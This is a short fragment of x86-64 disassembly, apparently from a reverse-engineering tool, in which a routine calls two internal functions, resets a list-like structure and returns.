mov edx, 0x98
mov rcx, rsi
call fcn.1400a3bac
mov rsi, rbx
test rbx, rbx
jne 0x1400317a0
mov rbx, qword [rsp + 0x48]
mov rax, qword [rdi + 8]
lea r8, [rsp + 0x20]
mov qword [rax], rax
mov rax, qword [rdi + 8]
mov qword [rax + 8], rax
mov qword [rdi + 0x10], 0
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x18]
mov qword [rsp + 0x20], rax
call fcn.14000bc20
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret